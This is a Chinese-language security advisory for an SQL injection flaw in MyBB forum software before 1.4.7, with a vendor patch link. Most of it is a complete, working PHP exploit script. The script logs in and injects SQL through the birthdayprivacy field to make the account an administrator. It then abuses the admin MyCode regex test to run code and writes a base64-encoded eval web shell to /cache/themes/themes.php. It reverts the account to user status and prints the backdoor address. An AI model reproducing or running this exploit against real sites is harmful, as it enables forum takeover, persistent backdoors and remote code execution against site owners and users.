受影响系统：
MyBB MyBB < 1.4.7
不受影响系统：
MyBB MyBB 1.4.7
描述：
BUGTRAQ ID: 35458
MyBB是一款流行的Web论坛程序。
MyBB没有正确地验证用户请求中提交给inc/datahandlers/user.php模块的birthdayprivacy参数，远程攻击者可以通过向论坛提交恶意请求执行SQL注入攻击，导致获得论坛的管理权限。成功利用这个漏洞要求打开了Mybb的不可视模式且拥有有效的登录凭据。
<*来源：The:Paradox
链接：http://milw0rm.com/exploits/9001
http://secunia.com/advisories/35517/
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
<?PHP
$mybb = new maibibi2;
class maibibi2
{
function __construct ()
{
$this->user = $this->get_argv(‘-u’);
$this->pass = $this->get_argv(‘-p’);
$this->target = $this->get_argv(‘-t’);
$this->admindir = $this->get_argv(‘–admindir’);
$this->oa2u = $this->get_argv(‘–onlyadmin2user’);
$this->ip = ‘67.167.124.135’;
$this->ua = ‘Mozilla 5.0’;
$this->bckdr = ‘/cache/themes/themes.php’;
if ($this->get_argv(‘–help’) !== False || $this->get_argv(‘-h’) !== False) $this->help();
if (!$this->user || !$this->pass) die ("You have to insert User/Password\r\nUse –help or -h for more informations.\r\n");
if (!$this->target) die ("You have to insert Target\r\nUse –help or -h for more informations.\r\n");
$this->http();
$this->init();
}
function help ()
{
die ("Under Construction\r\n");
}
function get_argv ($what)
{
global $argv;
if (!$n = array_search($what, $argv)) return False;
return $argv[$n+1];
}
function init ()
{
set_time_limit(0); // about 30 seconds left? Be serious.
echo "[.] Initialing.\r\n";
if (!$this->mybbuser = $this->ilovecookies ()) die ("Incorrect credentials.\r\n");
echo "[+] Logged in.\r\n";
if (!$this->mypostkey = $this->getmypostkey()) die ("My_Post_Key Not Found.\r\n");
echo "[+] my_post_key variable found.\r\n";
$this->hidemefromonlinelist();
echo "[+] Turned On mybb’s invisible mode.\r\n";
$this->user2admin();
echo "[+] Sql code injected. You’re now admin.\r\n";
if (!$this->admindir && !$this->admindir = $this->findadmindir()) die ("Unable to find admin Dir.\r\nWhatever it’s possible your user is currently an administrator.\r\nIf you know admin dir path, you may use –admindir\r\n");
echo "[+] Admindir found (or –admindir is used): {$this->admindir}.\r\n";
if (!$this->adminsid = $this->loginadmin()) die ("[-] Unable to login as admin.\r\nWhatever it’s possible your user is currently an administrator.\r\n");
echo "[+] Admin sid Found: {$this->adminsid}\r\n";
#$this->writabledirs();
$this->rce ();
if (!$this->checkrce ()) die ("Unable to Execute PHP Code.\r\nWhatever it’s possible your user is currently an administrator.\r\n");
echo "[+] Site correctly backdoored.\r\n";
$this->admin2user();
echo "[+] Sql code injected. You’re now user.\r\n";
echo "[+] Backdoor URI: {$this->target}{$this->bckdr}\r\n";
echo "All Done. The:Paradox hopes you used this exploit exclusively for your own fun and you enjoyed it.\r\nHave a nice day :P\r\n\r\n";
}
function ilovecookies ()
{
$this->header = array (‘client-ip’ => $this->ip ,’User-Agent’ => $this->ua);
$this->postdata = array (‘username’ => $this->user, ‘password’ => $this->pass, ‘submit’ => ‘Login’, ‘action’ => ‘do_login’);
$rsp = $this->post ("{$this->target}/member.php");
if (!preg_match_all (‘~mybbuser=(.+?);~’,$rsp,$res)) return False;
return $res[1][0];
}
function getmypostkey ()
{
$this->header = array (‘client-ip’ => $this->ip ,’User-Agent’ => $this->ua, ‘Referer’ => "{$this->target}/member.php", ‘Cookie’ => "mybbuser={$this->mybbuser};");
$rsp = $this->get ("{$this->target}/usercp.php?action=profile");
if (!preg_match_all (‘~name="my_post_key" value="(.+?)" />~’,$rsp,$res)) return False;
return $res[1][0];
}
function hidemefromonlinelist()
{
$this->header = array (‘client-ip’ => $this->ip ,’User-Agent’ => $this->ua, ‘Referer’ => "{$this->target}/usercp.php?action=profile", ‘Cookie’ => "mybbuser={$this->mybbuser};");
$this->postdata = array (‘my_post_key’ => $this->mypostkey, ‘invisible’ => ‘1’, ‘action’ => ‘do_options’, ‘regsubmit’ => ‘Update+Options’);
$rsp = $this->post ("{$this->target}/member.php");
}
function user2admin ()
{
$this->header = array (‘client-ip’ => $this->ip ,’User-Agent’ => $this->ua, ‘Referer’ => "{$this->target}/usercp.php?action=profile", ‘Cookie’ => "mybbuser={$this->mybbuser};");
$this->postdata = array (‘my_post_key’ => $this->mypostkey,
‘invisible’ => ‘1’,
‘bday1’ => ”,
‘bday2’ => ”,
‘bday3’ => ”,
‘website’ => ‘http%3A%2F%2F’,
‘profile_fields%5Bfid3%5D’ => ‘Undisclosed’,
‘profile_fields%5Bfid2%5D’ => ‘Undisclosed’,
‘profile_fields%5Bfid1%5D’ => ‘Undisclosed’,
‘usertitle’ => ”,
‘icq’ => ”,
‘aim’ => ”,
‘msn’ => ”,
‘yahoo’ => ”,
‘away’ => ‘0’,
‘awayreason’ => ”,
‘awayday’ => ”,
‘awaymonth’ => ”,
‘awayyear’ => ”,
‘birthdayprivacy’ => "all’, usergroup=4, email=’pr3sident@whit3house.gov‘,regip=’79.140.81.83′, longregip=’1334595923’, lastip=”, longlastip=’",
‘action’ => ‘do_profile’,
‘regsubmit’ => ‘1’);
$rsp = $this->post ("{$this->target}/usercp.php");
}
function findadmindir ()
{
$this->header = array (‘client-ip’ => $this->ip ,’User-Agent’ => $this->ua, ‘Referer’ => "{$this->target}/usercp.php?action=profile", ‘Cookie’ => "mybbuser={$this->mybbuser};");
$rsp = $this->get("{$this->target}/index.php");
if (!preg_match_all ("~<!– start: header_welcomeblock_member_admin –>
— <a href=\"{$this->target}(.+?)/index.php\">~",$rsp,$res)) return False;
return $res[1][0];
}
function loginadmin ()
{
$this->header = array (‘client-ip’ => $this->ip ,’User-Agent’ => $this->ua, ‘Referer’ => "{$this->target}/usercp.php?action=profile", ‘Cookie’ => "mybbuser={$this->mybbuser};");
$this->postdata = array (‘username’ => $this->user, ‘password’ => $this->pass, ‘do’ => ‘login’);
$rsp = $this->post ("{$this->target}/{$this->admindir}/index.php");
if (!preg_match_all (‘~adminsid=(.+?);~’,$rsp,$res)) return False;
return $res[1][0];
}
function writabledirs ()
{
$this->header = array (‘client-ip’ => $this->ip ,’User-Agent’ => $this->ua, ‘Referer’ => "{$this->target}/{$this->admindir}/index.php?", ‘Cookie’ => "mybbuser={$this->mybbuser}; adminsid={$this->adminsid};");
$this->get ("{$this->target}/{$this->admindir}/index.php?module=tools") ;
}
function rceOld ()
{
//edits inc/functions.php (original one)
$this->header = array (‘client-ip’ => $this->ip ,’User-Agent’ => $this->ua, ‘X-Requested-With’ => ‘XMLHttpRequest’, ‘Referer’ => "{$this->target}/{$this->admindir}/index.php?module=config/mycode&action=edit&cid=1", ‘Cookie’ => "mybbuser={$this->mybbuser}; adminsid={$this->adminsid};");
$this->postdata = array (‘my_post_key’ => $this->mypostkey,
‘o_o’ => ‘phpinfo();’,
‘regex’ => ‘(.*%3F)#e%00’,
‘replacement’ => ‘die(eval(stripslashes($_REQUEST[\’o_o\’])));’,
‘test_value’ => ‘XoD’);
$rsp = $this->post ("{$this->target}/{$this->admindir}/index.php?module=config/mycode&action=xmlhttp_test_mycode");
}
function rce ()
{
$this->header = array (‘client-ip’ => $this->ip ,’User-Agent’ => $this->ua, ‘X-Requested-With’ => ‘XMLHttpRequest’, ‘Referer’ => "{$this->target}/{$this->admindir}/index.php?module=config/mycode&action=edit&cid=1", ‘Cookie’ => "mybbuser={$this->mybbuser}; adminsid={$this->adminsid};");
$this->postdata = array (‘my_post_key’ => $this->mypostkey,
‘o_o’ => ‘JGZwID0gZm9wZW4oJF9SRVFVRVNUWydmaWxlJ10sICdhJyk7DQpmd3JpdGUoJGZwLCAnPD9QSFAgaWYgKGlzc2V0KCRfUkVRVUVTVFt4XSkpIGV2YWwoc3RyaXBzbGFzaGVzKCRfUkVRVUVTVFt4XSkpOyA/PicpOw0KZmNsb3NlKCRmcCk7’,
‘regex’ => ‘(.*%3F)#e%00’,
‘replacement’ => ‘die(eval(base64_decode($_REQUEST[\’o_o\’])));’,
‘test_value’ => ‘XoD’,
‘file’ => "../{$this->bckdr}");
$rsp = $this->post ("{$this->target}/{$this->admindir}/index.php?module=config/mycode&action=xmlhttp_test_mycode");
}
function admin2user ()
{
$this->header = array (‘client-ip’ => $this->ip ,’User-Agent’ => $this->ua, ‘Referer’ => "{$this->target}/usercp.php?action=profile", ‘Cookie’ => "mybbuser={$this->mybbuser};");
$this->postdata = array (‘my_post_key’ => $this->mypostkey,
‘invisible’ => ‘1’,
‘bday1’ => ”,
‘bday2’ => ”,
‘bday3’ => ”,
‘website’ => ‘http%3A%2F%2F’,
‘profile_fields%5Bfid3%5D’ => ‘Undisclosed’,
‘profile_fields%5Bfid2%5D’ => ‘Undisclosed’,
‘profile_fields%5Bfid1%5D’ => ‘Undisclosed’,
‘usertitle’ => ”,
‘icq’ => ”,
‘aim’ => ”,
‘msn’ => ”,
‘yahoo’ => ”,
‘away’ => ‘0’,
‘awayreason’ => ”,
‘awayday’ => ”,
‘awaymonth’ => ”,
‘awayyear’ => ”,
‘birthdayprivacy’ => "all’, usergroup=2, email=’pr3sident.whit3house@gmail.com‘,regip=’79.140.81.83′, longregip=’1334595923’, lastip=”, longlastip=’",
‘action’ => ‘do_profile’,
‘regsubmit’ => ‘1’);
$rsp = $this->post ("{$this->target}/usercp.php");
}
function checkrce_old ()
{
$this->header = array (‘client-ip’ => $this->ip ,’Cookie’ => ‘x=print \’.:31337:.\’%3B;’);
$rsp = $this->get ("{$this->target}/{$this->admindir}/inc/functions.php?");
if (!strstr($rsp,’.:31337:.’)) return False;
else return True;
}
function checkrce ()
{
$this->header = array (‘client-ip’ => $this->ip ,’Cookie’ => ‘x=print \’.:31337:.\’%3B;’);
$rsp = $this->get ("{$this->target}/{$this->bckdr}");
if (!strstr($rsp,’.:31337:.’)) return False;
else return True;
}
function http ($port = 80, $header = array(), $post = array(), $timeout = 30)
{
$this->port = $port;
$this->timeout = $timeout;
$this->header = $header;
$this->postdata = $post;
}
function get ($url)
{
$this->url = parse_url($url);
$this->packet = array();
$this->packet[] = "GET {$this->url[‘path’]}?{$this->url[‘query’]}{$this->url[‘fragment’]} HTTP/1.1";
$this->packet[] = "Host: {$this->url[‘host’]}";
foreach ($this->header as $header => $value)
{
$this->packet[] = "$header: $value";
}
$this->packet[] = "\r\n\r\n";
$this->packet = implode ("\r\n",$this->packet);
return $this->conn();
}
function post ($url)
{
$this->url = parse_url($url);
$this->packet = array();
$this->postcontent = ”;
$this->packet[] = "POST {$this->url[‘path’]}?{$this->url[‘query’]}{$this->url[‘fragment’]} HTTP/1.1";
$this->packet[] = "Host: {$this->url[‘host’]}";
foreach ($this->header as $header => $value)
{
$this->packet[] = "$header: $value";
}
foreach ($this->postdata as $post => $value)
{
if ($this->postcontent != ”) $this->postcontent .= ‘&’;
$this->postcontent .= "$post=$value";
}
$this->packet[] = ‘Content-Type: application/x-www-form-urlencoded’;
$this->packet[] = "Content-Length: ".strlen($this->postcontent)."\r\n";
$this->packet[] = $this->postcontent;
$this->packet = implode ("\r\n",$this->packet);
return $this->conn();
}
function conn()
{
if (!isset($this->url[‘port’])) $this->url[‘port’] = $this->port;
$sk = fsockopen ($this->url[‘host’], $this->url[‘port’], $eno, $estr, $this->timeout);
if (!is_resource($sk)) return "[-] Fsockopen Failed! Error: ".$estr." [".$eno."]" ;
else {
fputs($sk, $this->packet);
$rsp = "";
while (!feof($sk))
{
$rsp .= fgets ($sk, 1024);
}
}
fclose($sk);
return $rsp;
}
}
?>
建议：
厂商补丁：
MyBB
—-
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
http://blog.mybboard.net/2009/06/15/mybb-147-released-security-update/
0 条评论。